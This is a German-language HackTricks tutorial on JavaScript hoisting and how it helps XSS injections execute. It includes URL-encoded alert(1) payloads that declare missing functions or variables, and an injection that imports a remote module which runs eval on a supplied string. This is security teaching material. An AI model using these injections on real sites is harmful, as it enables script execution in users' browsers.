JS Hoisting

Support HackTricks

Grundinformationen

In der Programmiersprache JavaScript wird ein Mechanismus beschrieben, der als Hoisting bekannt ist, bei dem Deklarationen von Variablen, Funktionen, Klassen oder Imports konzeptionell an den Anfang ihres Geltungsbereichs verschoben werden, bevor der Code ausgeführt wird. Dieser Prozess wird automatisch von der JavaScript-Engine durchgeführt, die das Skript in mehreren Durchläufen durchgeht.

Während des ersten Durchlaufs analysiert die Engine den Code, um nach Syntaxfehlern zu suchen, und verwandelt ihn in einen abstrakten Syntaxbaum. Diese Phase umfasst das Hoisting, einen Prozess, bei dem bestimmte Deklarationen an den Anfang des Ausführungskontexts verschoben werden. Wenn die Analysephase erfolgreich ist und keine Syntaxfehler vorliegen, wird die Skriptausführung fortgesetzt.

Es ist entscheidend zu verstehen, dass:

  1. Das Skript muss frei von Syntaxfehlern sein, damit die Ausführung stattfinden kann. Syntaxregeln müssen strikt eingehalten werden.

  2. Die Platzierung des Codes innerhalb des Skripts beeinflusst die Ausführung aufgrund des Hoistings, obwohl der ausgeführte Code von seiner textuellen Darstellung abweichen kann.

Arten des Hoistings

Basierend auf den Informationen von MDN gibt es vier verschiedene Arten von Hoisting in JavaScript:

  1. Wert-Hoisting: Ermöglicht die Verwendung des Wertes einer Variablen innerhalb ihres Geltungsbereichs vor ihrer Deklarationszeile.

  2. Deklarations-Hoisting: Erlaubt das Referenzieren einer Variablen innerhalb ihres Geltungsbereichs vor ihrer Deklaration, ohne einen ReferenceError auszulösen, aber der Wert der Variablen wird undefined sein.

  3. Diese Art verändert das Verhalten innerhalb ihres Geltungsbereichs aufgrund der Deklaration der Variablen vor ihrer tatsächlichen Deklarationszeile.

  4. Die Nebenwirkungen der Deklaration treten auf, bevor der Rest des Codes, der sie enthält, ausgewertet wird.

Im Detail zeigen Funktionsdeklarationen das Verhalten des Typs 1 Hoisting. Das var-Schlüsselwort demonstriert das Verhalten des Typs 2. Lexikalische Deklarationen, die let, const und class umfassen, zeigen das Verhalten des Typs 3. Schließlich sind import-Anweisungen einzigartig, da sie sowohl mit dem Verhalten des Typs 1 als auch des Typs 4 gehostet werden.

Szenarien

Daher, wenn du Szenarien hast, in denen du JS-Code nach der Verwendung eines nicht deklarierten Objekts einschleusen kannst, könntest du die Syntax beheben, indem du es deklarierst (damit dein Code ausgeführt wird, anstatt einen Fehler auszulösen):

// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie('leo','INJECTION')
test['cookie','injection']

Weitere Szenarien

// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};

export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
if(config){
return;
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config;`-alert(1)`//`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:"https://try-to-catch.glitch.me/"+`
let config;`-alert(1)-`//`+""
}
})
}

Referenzen

Unterstützen Sie HackTricks

Last updated